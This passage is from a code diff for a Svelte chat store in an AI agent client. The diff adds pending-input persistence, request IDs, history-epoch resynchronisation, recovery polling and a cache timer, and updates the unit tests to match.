+ ...result,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: large,
+ isError: false,
+ stepId: step,
+ },
+ },
+ ];
+ const f = fixture();
+ f.history.returnChunks = full;
+ f.notice();
+ await settled(f.store);
+ expect(f.store.chunks).toHaveLength(2);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual(full.map((r) => r.chunk));
+ expect(f.transport.sent).toEqual([]);
+ f.store.dispose();
+});
diff --git a/src/features/chat/store.svelte.ts b/src/features/chat/store.svelte.ts
index 7f8e113..dacbe06 100644
--- a/src/features/chat/store.svelte.ts
+++ b/src/features/chat/store.svelte.ts
@@ -1,9 +1,13 @@
import type {
+ ChatAcceptedMessage,
ChatDeltaMessage,
ChatErrorMessage,
ChatQueueCancelMessage,
+ ChatQueuedMessage,
ChatQueueMessage,
+ ChatResyncRequiredMessage,
ChatSendMessage,
+ ChatSubscriptionRejectedMessage,
} from "@dispatch/transport-contract";
import type { ChatMessage, ImageInput, StoredChunk, TurnProviderRetryEvent } from "@dispatch/wire";
import type { RenderedChunk, TranscriptState } from "../../core/chunks";
@@ -14,7 +18,9 @@ import {
foldEvent,
initialState,
initialWindowSize,
+ markHistoryRecovering,
normalizeChatLimit,
+ removeLocalEcho,
restoreEarlier,
selectChunks,
selectGenerating,
@@ -25,20 +31,28 @@ import {
unloadCount,
windowTranscript,
} from "../../core/chunks";
-import type { MetricsState, TurnMetricsEntry } from "../../core/metrics";
+import type { CacheTimerState, MetricsState, TurnMetricsEntry } from "../../core/metrics";
import {
applyDurableMetrics,
+ foldCacheTimerEvent,
foldMetricsEvent,
+ initialCacheTimerState,
initialMetricsState,
+ seedTurnGap,
selectCurrentContextSize,
selectOrderedTurnMetrics,
+ stopTurnGap,
} from "../../core/metrics";
import type { ConversationCache } from "../conversation-cache";
import type { NamedAgentSelectionSnapshot } from "../named-agents";
+import type { PendingInput, PendingInputStorage } from "./pending-inputs";
import type { ChatTransport, HistorySync, MetricsSync } from "./ports";
export interface ChatStoreDependencies {
+ readonly pendingInputStorage?: PendingInputStorage;
readonly conversationId: string;
+ /** Injected unique client-local correlation token for each new send. */
+ readonly createRequestId: () => string;
readonly model?: string;
readonly transport: ChatTransport;
readonly historySync: HistorySync;
@@ -78,9 +92,18 @@ export interface ChatStoreDependencies {
* folded synchronously (the original behavior; used by tests).
*/
readonly scheduleFlush?: (flush: () => void) => void;
+ /** Wall clock (epoch ms) — times the cache-timer gaps. Absent → `Date.now`. */
+ readonly now?: () => number;
+ /** Recovery polling clock; browser effects are replaceable by deterministic tests. */
+ readonly recoveryTimer?: {
+ schedule(callback: () => void, delayMs: number): unknown;
+ cancel(handle: unknown): void;
+ };
}
export interface ChatStore {
+ readonly pendingInputs: readonly PendingInput[];
+ discardPendingInput(requestId: string): void;
readonly messages: readonly ChatMessage[];
readonly chunks: readonly RenderedChunk[];
readonly turnMetrics: readonly TurnMetricsEntry[];
@@ -107,6 +130,8 @@ export interface ChatStore {
* to the newest attempt + delay; cleared when content resumes or the turn ends.
*/
readonly providerRetry: TurnProviderRetryEvent | null;
+ /** Omitted live payloads may not exist in HTTP history until step persistence. */
+ readonly recovering: boolean;
readonly pendingSync: boolean;
readonly error: string | null;
readonly model: string | undefined;
@@ -122,7 +147,29 @@ export interface ChatStore {
* a trim (see `TranscriptState.hiddenThinkingCount`).
*/
readonly thinkingKeyBase: number;
- handleDelta(msg: ChatDeltaMessage | ChatErrorMessage): void;
+ /**
+ * The cache timer (see `core/metrics/cache-timer.ts`): the running gap
+ * between model requests (a step's tools executing, or the wait after a turn
+ * ended) plus the stamped durations of finished gaps, keyed by `stepId` /
+ * `turnId`. Timed with the local clock from live events; in-memory only (a
+ * reload keeps just a turn gap seeded via `noteLastActivity`).
+ */
+ readonly cacheTimer: CacheTimerState;
+ /**
+ * Seed the turn gap from an authoritative activity timestamp (the
+ * conversation list's `lastActivityAt`) — call only for an IDLE conversation.
+ * Ignored while a turn is generating; a running turn gap keeps the later start.
+ */
+ noteLastActivity(at: number): void;
+ handleDelta(
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ): void;
/**
* Send a user message (start a turn via `chat.send`). Optimistically echoes
* the text + any `images` as provisional user chunks (`[text, image, …]` in
@@ -139,9 +186,10 @@ export interface ChatStore {
* auto-starts a turn with the message as its opening prompt (equivalent to
* `chat.send`). No optimistic transcript echo — the queue SURFACE carries the
* pending message until drain; the `steering` event places it in the
- * transcript. `text` must be non-empty (the server 400/errors otherwise).
+ * transcript. Empty `text` is allowed when images are supplied. WS delivery
+ * is fire-and-forget; transport send is not a persistence acknowledgement.
*/
- queueMessage(text: string): void;
+ queueMessage(text: string, images?: readonly ImageInput[]): void;
/**
* Cancel (remove) a single queued steering message by id so it never runs
* (`chat.queue.cancel` WS op). Fire-and-forget + idempotent: success is
@@ -189,18 +237,79 @@ export interface ChatStore {
* running, the server's post-subscribe replay re-asserts `generating`. The
* app store pairs this with a `chat.subscribe` for the conversation.
*/
- resync(): void;
+ resync(historyEpoch?: number): void;
+ /** Discard pre-replacement transcript state without loading an unseen conversation. */
+ invalidateHistory(historyEpoch: number): void;
dispose(): void;
}
export function createChatStore(deps: ChatStoreDependencies): ChatStore {
+ let pendingInputs = $state<readonly PendingInput[]>(deps.pendingInputStorage?.load() ?? []);
+ function savePendingInputs(next: readonly PendingInput[]): void {
+ deps.pendingInputStorage?.save(next);
+ pendingInputs = next;
+ }
+ function confirmInput(requestId: string): void {
+ savePendingInputs(pendingInputs.filter((input) => input.request.requestId !== requestId));
+ }
let transcript = $state<TranscriptState>(initialState());
let metrics = $state<MetricsState>(initialMetricsState());
let _pendingSync = $state(false);
let _error = $state<string | null>(null);
let _model = $state<string | undefined>(deps.model);
let _namedAgent = $state<NamedAgentSelectionSnapshot | null>(null);
+ let cacheTimer = $state<CacheTimerState>(initialCacheTimerState());
+ const now = deps.now ?? Date.now;
let disposed = false;
+ let rerunRequested = false;
+ let historyEpoch: number | undefined;
+ let revision = 0;
+ let reloadWindow = false;
+ let earliestSeq = $state<number | null>(null);
+ let recoveringTurnId: string | undefined;
+ let recovering = $state(false);
+ const finishedRecoveryTurns = new Set<string>();
+ let finalSyncRequested = false;
+ let recoveryPaused = false;
+ const timer = deps.recoveryTimer ?? {
+ schedule: (callback: () => void, delay: number) => setTimeout(callback, delay),
+ cancel: (handle: unknown) => clearTimeout(handle as ReturnType<typeof setTimeout>),
+ };
+ let recoveryTimer: unknown;
+
+ function cancelRecoveryTimer(): void {
+ if (recoveryTimer !== undefined) timer.cancel(recoveryTimer);
+ recoveryTimer = undefined;
+ }
+
+ function scheduleRecovery(): void {
+ if (disposed || !recovering || recoveryPaused || recoveryTimer !== undefined) return;
+ recoveryTimer = timer.schedule(() => {
+ recoveryTimer = undefined;
+ flushEvents();
+ void syncTail(initialWindowSize(chatLimit));
+ }, 1000);
+ }
+
+ function resetTranscript(epoch: number): void {
+ historyEpoch = epoch;
+ revision++;
+ reloadWindow = true;
+ transcript = initialState();
+ if (recoveringTurnId !== undefined)
+ transcript = markHistoryRecovering(transcript, recoveringTurnId);
+ earliestSeq = null;
+ pendingEvents = [];
+ }
+ function hasEarlier(): boolean {
+ return selectHasEarlier(transcript, earliestSeq);
+ }
+
+ /** The most recent turn's id (resolves a seeded turn gap when it is stamped). */
+ function lastTurnIdOf(m: MetricsState): string | undefined {
+ const entries = selectOrderedTurnMetrics(m);
+ return entries[entries.length - 1]?.turnId;
+ }
let chatLimit = normalizeChatLimit(deps.chatLimit);
@@ -242,16 +351,42 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
let m = metrics;
let sealed = false;
let failed = false;
+ let recoveryEnded = false;
+ let c = cacheTimer;
+ const at = now();
for (const event of events) {
t = foldEvent(t, event);
m = foldMetricsEvent(m, event);
- if (t.sealedTurnId !== null) sealed = true;
+ const mNow = m;
+ c = foldCacheTimerEvent(c, event, at, () => lastTurnIdOf(mNow));
+ if (
+ event.type === "turn-ended" &&
+ recovering &&
+ (recoveringTurnId === undefined || event.turnId === recoveringTurnId)
+ ) {
+ finishedRecoveryTurns.add(event.turnId);
+ finalSyncRequested = true;
+ recoveringTurnId = undefined;
+ recovering = false;
+ recoveryEnded = true;
+ cancelRecoveryTimer();
+ }
+ if (event.type === "turn-sealed") sealed = true;
else if (event.type === "error") failed = true;
}
transcript = t;
metrics = m;
+ cacheTimer = c;
maybeTrim();
- if (sealed) {
+ if (recovering && recoveringTurnId !== undefined) {
+ // done/error/seal can precede persistence and the real terminal. Keep
+ // lifecycle evidence until turn-ended, not merely until a content event.
+ transcript = markHistoryRecovering(transcript, recoveringTurnId);
+ }
+ if (recoveryEnded) {
+ void syncTail(initialWindowSize(chatLimit));
+ void syncMetrics();
+ } else if (sealed) {
void syncTail();
void syncMetrics();
} else if (failed) {
@@ -280,27 +415,142 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
* between the cache and the fetched window.
*/
async function syncTail(coldLimit?: number): Promise<void> {
- if (disposed || _pendingSync) return;
+ if (disposed) return;
+ if (_pendingSync) {
+ rerunRequested = true;
+ return;
+ }
_pendingSync = true;
- try {
- const since = await deps.cache.sinceSeq(deps.conversationId);
- const window = since === 0 && coldLimit !== undefined ? { limit: coldLimit } : undefined;
- const res = await deps.historySync(deps.conversationId, since, window);
- const merged = await deps.cache.commit(deps.conversationId, res.chunks);
- transcript = applyHistory(transcript, merged);
- maybeTrim();
- _error = null;
- } catch (err) {
- _error = err instanceof Error ? err.message : String(err);
- } finally {
- _pendingSync = false;
+ // One request plus at most two sequential reruns. Continued churn waits for
+ // the next reconnect/seal/explicit resync, never a microtask refetch loop.
+ let attempts = 0;
+ do {
+ attempts++;
+ rerunRequested = false;
+ try {
+ const currentRevision = revision;
+ let cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ if (historyEpoch !== undefined && cachedEpoch !== historyEpoch) {
+ await deps.cache.reset(deps.conversationId, historyEpoch);
+ cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ }
+ const since =
+ reloadWindow || cachedEpoch === undefined
+ ? 0
+ : await deps.cache.sinceSeq(deps.conversationId);
+ if (disposed) break;
+ if (revision !== currentRevision) {
+ rerunRequested = true;
+ continue;
+ }
+ const limit =
+ since === 0
+ ? reloadWindow || recovering || finishedRecoveryTurns.size > 0
+ ? initialWindowSize(chatLimit)
+ : coldLimit
+ : undefined;
+ const finishedAtRequest = [...finishedRecoveryTurns];
+ finalSyncRequested = false;
+ const res = await deps.historySync(
+ deps.conversationId,
+ since,
+ limit === undefined ? undefined : { limit },
+ );
+ if (disposed) break;
+ if (revision !== currentRevision) {
+ rerunRequested = true;
+ continue;
+ }
+ const mismatch =
+ (cachedEpoch !== undefined && cachedEpoch !== res.historyEpoch) ||
+ (historyEpoch !== undefined && historyEpoch !== res.historyEpoch);
+ if (mismatch && since !== 0) {
+ // A cursor response cannot replace a different history. Confirm with
+ // a new full-window request; don't mistake a lower epoch for staleness.
+ reloadWindow = true;
+ rerunRequested = true;
+ continue;
+ }
+ let merged: readonly StoredChunk[];
+ if (mismatch || cachedEpoch === undefined) {
+ const replaced = await deps.cache.replace(
+ deps.conversationId,
+ res.chunks,
+ res.historyEpoch,
+ cachedEpoch,
+ );
+ const replacedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ if (disposed) break;
+ if (revision !== currentRevision || !replaced || replacedEpoch !== res.historyEpoch) {
+ rerunRequested = true;
+ continue;
+ }
+ if (mismatch) resetTranscript(res.historyEpoch);
+ merged = res.chunks;
+ } else {
+ merged = await deps.cache.commit(deps.conversationId, res.chunks, res.historyEpoch);
+ const committedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ if (disposed) break;
+ if (revision !== currentRevision || committedEpoch !== res.historyEpoch) {
+ rerunRequested = true;
+ continue;
+ }
+ }
+ reloadWindow = false;
+ historyEpoch = res.historyEpoch;
+ if (since === 0 && (limit === undefined || res.chunks.length < limit))
+ earliestSeq = merged[0]?.seq ?? 0;
+ flushEvents();
+ transcript = applyHistory(transcript, merged, finishedAtRequest);
+ for (const turnId of finishedAtRequest) finishedRecoveryTurns.delete(turnId);
+ maybeTrim();
+ _error = null;
+ } catch (err) {
+ _error = err instanceof Error ? err.message : String(err);
+ }
+ } while (rerunRequested && !disposed && attempts < 3);
+ if (rerunRequested && !disposed) {
+ recoveryPaused = true;
+ cancelRecoveryTimer();
+ _error = "Conversation history changed repeatedly; sync paused until the next refresh.";
+ }
+ _pendingSync = false;
+ // Schedule AFTER the bounded sync burst. No interval can queue unbounded
+ // reruns behind a slow request; repeated notices coalesce on the same clock.
+ scheduleRecovery();
+ // A terminal landing during the third (bounded epoch) attempt still owns
+ // one post-terminal request. It is a new external trigger, not an epoch
+ // retry loop; consume the flag before starting its bounded burst.
+ if (finalSyncRequested && !disposed) {
+ finalSyncRequested = false;
+ void syncTail(initialWindowSize(chatLimit));
+ }
+ }
+
+ let pendingMetrics: Promise<void> | undefined;
+ let rerunMetrics = false;
+ function syncMetrics(): Promise<void> {
+ if (pendingMetrics !== undefined) {
+ rerunMetrics = true;
+ return pendingMetrics;
}
+ pendingMetrics = (async () => {
+ for (let attempt = 0; attempt < 2; attempt++) {
+ rerunMetrics = false;
+ await fetchMetrics();
+ if (!rerunMetrics || disposed) break;
+ }
+ })().finally(() => {
+ pendingMetrics = undefined;
+ });
+ return pendingMetrics;
}
- async function syncMetrics(): Promise<void> {
+ async function fetchMetrics(): Promise<void> {
if (disposed) return;
try {
const res = await deps.metricsSync(deps.conversationId);
+ if (disposed) return;
metrics = applyDurableMetrics(metrics, res.turns);
} catch (err) {
// Metrics fetch failure must not block history sync or throw;
@@ -318,14 +568,27 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
* newest `count` of them). Shared by `showEarlier` and the raise-refill.
*/
async function backfillOlder(oldest: number, want: number): Promise<readonly StoredChunk[]> {
+ const currentRevision = revision;
let earlier = (await deps.cache.load(deps.conversationId)).filter((c) => c.seq < oldest);
+ if (disposed || revision !== currentRevision) return [];
const oldestKnown = earlier[0]?.seq ?? oldest;
- if (earlier.length < want && oldestKnown > 1) {
+ if (earlier.length < want && (earliestSeq === null || oldestKnown > earliestSeq)) {
const res = await deps.historySync(deps.conversationId, 0, {
beforeSeq: oldestKnown,
limit: want - earlier.length,
});
- const merged = await deps.cache.commit(deps.conversationId, res.chunks);
+ if (disposed || revision !== currentRevision) return [];
+ if (res.historyEpoch !== historyEpoch) {
+ // Confirm a backfill mismatch with a fresh full window as well. Bump
+ // the local revision so an overlapping old tail cannot be applied.
+ revision++;
+ reloadWindow = true;
+ await syncTail(initialWindowSize(chatLimit));
+ return [];
+ }
+ const merged = await deps.cache.commit(deps.conversationId, res.chunks, res.historyEpoch);
+ if (disposed || revision !== currentRevision) return [];
+ if (res.chunks.length < want - earlier.length) earliestSeq = merged[0]?.seq ?? 0;
earlier = merged.filter((c) => c.seq < oldest);
}
return earlier;
@@ -335,15 +598,15 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
* Refill toward the fresh-load window after a limit RAISE: pull older
* history (cache first, then server) so the loaded set grows to match what a
* fresh `load()` would show at the new limit. No-op when already at the
- * origin (seq 1) or already within the window. `restoreEarlier` re-derives
+ * known history boundary or already within the window. `restoreEarlier` re-derives
* the window start at apply time, so a delta landing during the await can't
* corrupt the merge. NOT gated (refilling prepends above the viewport; the
* caller preserves scroll position).
*/
async function refill(): Promise<void> {
if (disposed) return;
+ if (!hasEarlier()) return;
const oldest = transcript.committed[0]?.seq ?? transcript.hiddenBeforeSeq;
- if (oldest <= 1) return;
const want = initialWindowSize(chatLimit) - transcript.committed.length;
if (want <= 0) return;
try {
@@ -357,6 +620,10 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
}
return {
+ get pendingInputs() {
+ return pendingInputs;
+ },
+ discardPendingInput: confirmInput,
get messages(): readonly ChatMessage[] {
return selectMessages(transcript);
},
@@ -375,6 +642,9 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
get providerRetry(): TurnProviderRetryEvent | null {
return selectProviderRetry(transcript);
},
+ get recovering(): boolean {
+ return recovering;
+ },
get pendingSync(): boolean {
return _pendingSync;
},
@@ -385,18 +655,90 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
return _model;
},
get hasEarlier(): boolean {
- return selectHasEarlier(transcript);
+ return hasEarlier();
},
get thinkingKeyBase(): number {
return transcript.hiddenThinkingCount;
},
+ get cacheTimer(): CacheTimerState {
+ return cacheTimer;
+ },
- handleDelta(msg: ChatDeltaMessage | ChatErrorMessage): void {
+ noteLastActivity(at: number): void {
+ if (selectGenerating(transcript)) return;
+ cacheTimer = seedTurnGap(cacheTimer, at);
+ },
+
+ handleDelta(
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ): void {
+ if (disposed) return;
+ if (msg.type === "chat.accepted") {
+ if (msg.conversationId === deps.conversationId) confirmInput(msg.requestId);
+ return;
+ }
+ if (msg.type === "chat.subscription-rejected") {
+ if (msg.conversationId === deps.conversationId) {
+ _error =
+ "Live updates could not be subscribed. Message delivery is independent; saved inputs remain available below.";
+ void syncTail();
+ }
+ return;
+ }
+ if (msg.type === "chat.resync-required") {
+ if (msg.conversationId !== deps.conversationId) return;
+ flushEvents();
+ const target =
+ msg.turnId ?? (transcript.generating ? transcript.currentTurnId : null) ?? undefined;
+ // Oversized status packets need not identify an active turn. Refresh
+ // once, but do not invent generation or poll an idle conversation.
+ if (target === undefined) {
+ void syncTail(initialWindowSize(chatLimit));
+ return;
+ }
+ const first = !recovering || recoveryPaused;
+ recoveryPaused = false;
+ recovering = true;
+ recoveringTurnId = target;
+ if (recoveringTurnId !== undefined)
+ transcript = markHistoryRecovering(transcript, recoveringTurnId);
+ // Immediate first handoff, including a coalesced rerun behind a cold
+ // load. Repeats wait for the existing fetch/one-second timer.
+ if (first) void syncTail(initialWindowSize(chatLimit));
+ return;
+ }
if (msg.type === "chat.error") {
if (msg.conversationId !== undefined && msg.conversationId !== deps.conversationId) {
return;
}
_error = msg.message;
+ if (msg.requestId !== undefined) {
+ savePendingInputs(
+ pendingInputs.map((input) =>
+ input.request.requestId === msg.requestId
+ ? { ...input, rejection: msg.message }
+ : input,
+ ),
+ );
+ transcript = removeLocalEcho(transcript, msg.requestId);
+ }
+ return;
+ }
+ if (msg.type === "chat.queued") {
+ if (disposed || msg.conversationId !== deps.conversationId) return;
+ // A queued live opening may already have confirmed the echoed text.
+ // Fold it first; turn-start alone must not protect still-local artifacts.
+ flushEvents();
+ if (msg.requestId !== undefined) {
+ confirmInput(msg.requestId);
+ transcript = removeLocalEcho(transcript, msg.requestId);
+ }
return;
}
if (msg.event.conversationId !== deps.conversationId) {
@@ -415,10 +757,12 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
send(text: string, images?: readonly ImageInput[]): void {
flushEvents();
- transcript = appendUserMessage(transcript, text, images);
- maybeTrim();
- const msg: ChatSendMessage = {
+ // Sending ends the wait since the last turn: stamp it on that turn.
+ cacheTimer = stopTurnGap(cacheTimer, now(), () => lastTurnIdOf(metrics));
+ const requestId = deps.createRequestId();
+ const msg: ChatSendMessage & { requestId: string } = {
type: "chat.send",
+ requestId,
conversationId: deps.conversationId,
message: text,
...(_model !== undefined ? { model: _model } : {}),
@@ -426,18 +770,34 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
...(deps.workspaceId !== undefined ? { workspaceId: deps.workspaceId } : {}),
...(images !== undefined && images.length > 0 ? { images: [...images] } : {}),
};
+ try {
+ savePendingInputs([...pendingInputs, { request: msg }]);
+ } catch (error) {
+ deps.onError?.("Unable to save input; the message has not been sent", error);
+ throw error;
+ }
+ transcript = appendUserMessage(transcript, text, images, requestId);
+ maybeTrim();
deps.transport.send(msg);
},
- queueMessage(text: string): void {
+ queueMessage(text: string, images?: readonly ImageInput[]): void {
const trimmed = text.trim();
- if (trimmed.length === 0) return;
- const msg: ChatQueueMessage = {
+ if (trimmed.length === 0 && !images?.length) return;
+ const msg: ChatQueueMessage & { requestId: string } = {
type: "chat.queue",
+ requestId: deps.createRequestId(),
conversationId: deps.conversationId,
text: trimmed,
+ ...(images !== undefined && images.length > 0 ? { images: [...images] } : {}),
...(deps.workspaceId !== undefined ? { workspaceId: deps.workspaceId } : {}),
};
+ try {
+ savePendingInputs([...pendingInputs, { request: msg }]);
+ } catch (error) {
+ deps.onError?.("Unable to save input; the message has not been queued", error);
+ throw error;
+ }
deps.transport.send(msg);
},
@@ -481,8 +841,11 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
// server instead (CR-5 `?limit=`), so a huge conversation never ships
// whole. The post-sync window re-asserts the cap either way.
const windowSize = initialWindowSize(chatLimit);
+ const currentRevision = revision;
+ const cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
const cached = await deps.cache.load(deps.conversationId);
- if (cached.length > 0) {
+ if (!disposed && revision === currentRevision && cachedEpoch !== undefined) {
+ historyEpoch = cachedEpoch;
transcript = windowTranscript(applyHistory(transcript, cached), windowSize);
}
await syncTail(windowSize);
@@ -493,7 +856,7 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
async showEarlier(): Promise<void> {
if (disposed) return;
const oldest = transcript.committed[0]?.seq ?? transcript.hiddenBeforeSeq;
- if (oldest <= 1) return;
+ if (!hasEarlier()) return;
const want = unloadCount(chatLimit);
try {
const earlier = await backfillOlder(oldest, want);
@@ -504,19 +867,33 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
}
},
- resync(): void {
+ invalidateHistory(epoch): void {
+ if (!disposed && (historyEpoch === undefined || epoch > historyEpoch)) resetTranscript(epoch);
+ },
+
+ resync(epoch?: number): void {
if (disposed) return;
+ if (epoch !== undefined && (historyEpoch === undefined || epoch > historyEpoch))
+ resetTranscript(epoch);
// A turn may have sealed while we were disconnected (missed `turn-sealed`):
// clear the now-stale spinner BEFORE re-subscribing, so a finished turn
// doesn't spin forever. A still-running turn's replay re-asserts it.
flushEvents();
- transcript = clearGenerating(transcript);
+ recoveryPaused = false;
+ if (epoch === undefined) {
+ recovering = false;
+ recoveringTurnId = undefined;
+ cancelRecoveryTimer();
+ transcript = clearGenerating(transcript);
+ }
void syncTail();
void syncMetrics();
},
dispose(): void {
disposed = true;
+ cancelRecoveryTimer();
+ finishedRecoveryTurns.clear();
pendingEvents = [];
},
};
diff --git a/src/features/chat/store.test.ts b/src/features/chat/store.test.ts
index f9b4b38..5040e67 100644
--- a/src/features/chat/store.test.ts
+++ b/src/features/chat/store.test.ts
@@ -1,5 +1,8 @@
import type { AgentEvent, ImageInput, StepId, StoredChunk } from "@dispatch/wire";
+import { IDBFactory, IDBKeyRange } from "fake-indexeddb";
import { describe, expect, it, vi } from "vitest";
+import { createIdbChunkStore } from "../../adapters/idb";
+import { createConversationCache } from "../conversation-cache";
import { createChatStore } from "./store.svelte";
import {
createFakeCache,
@@ -29,6 +32,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -61,6 +65,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -104,6 +109,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -128,6 +134,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
model: "openai/gpt-4",
transport: transport.impl,
@@ -150,6 +157,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -182,6 +190,7 @@ describe("createChatStore", () => {
it("send omits images on the wire when none are staged (backward compatible)", () => {
const transport = createFakeTransport();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: createFakeHistorySync().impl,
@@ -198,6 +207,7 @@ describe("createChatStore", () => {
it("send omits images on the wire for an empty array", () => {
const transport = createFakeTransport();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: createFakeHistorySync().impl,
@@ -214,6 +224,7 @@ describe("createChatStore", () => {
it("send allows an images-only message (empty text)", () => {
const transport = createFakeTransport();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: createFakeHistorySync().impl,
@@ -238,6 +249,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -252,16 +264,52 @@ describe("createChatStore", () => {
expect(transport.sentQueue[0]?.type).toBe("chat.queue");
expect(transport.sentQueue[0]?.conversationId).toBe(CONV_ID);
expect(transport.sentQueue[0]?.text).toBe("steer left");
+ expect(transport.sentQueue[0]).not.toHaveProperty("images");
store.dispose();
});
+ it.each([" describe this ", "", " "])("queues images with text %j", (text) => {
+ const transport = createFakeTransport();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ workspaceId: "images-workspace",
+ transport: transport.impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ });
+ const images: readonly ImageInput[] = [
+ { url: "data:image/png;base64,AAAA", mimeType: "image/png" },
+ { url: "https://example.com/photo.jpg" },
+ ];
+
+ store.queueMessage(text, images);
+
+ expect(transport.sentQueue).toEqual([
+ {
+ type: "chat.queue",
+ requestId: expect.any(String),
+ conversationId: CONV_ID,
+ workspaceId: "images-workspace",
+ text: text.trim(),
+ images,
+ },
+ ]);
+ expect(transport.sentQueue[0]?.images).not.toBe(images);
+ expect(transport.sent).toHaveLength(0);
+ expect(store.chunks).toHaveLength(0);
+ store.dispose();
+ });
+
it("trims whitespace before sending", () => {
const transport = createFakeTransport();
const historySync = createFakeHistorySync();
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -282,6 +330,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -291,6 +340,7 @@ describe("createChatStore", () => {
store.queueMessage(" ");
store.queueMessage("");
+ store.queueMessage("", []);
expect(transport.sentQueue).toHaveLength(0);
@@ -303,6 +353,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -325,6 +376,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -350,6 +402,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -371,6 +424,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -396,6 +450,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -425,6 +480,7 @@ describe("createChatStore", () => {
historySync.returnChunks = [makeStoredChunk(3, "assistant")];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -453,6 +509,7 @@ describe("createChatStore", () => {
historySync.returnChunks = [makeStoredChunk(1, "assistant")];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -474,6 +531,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -506,6 +564,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
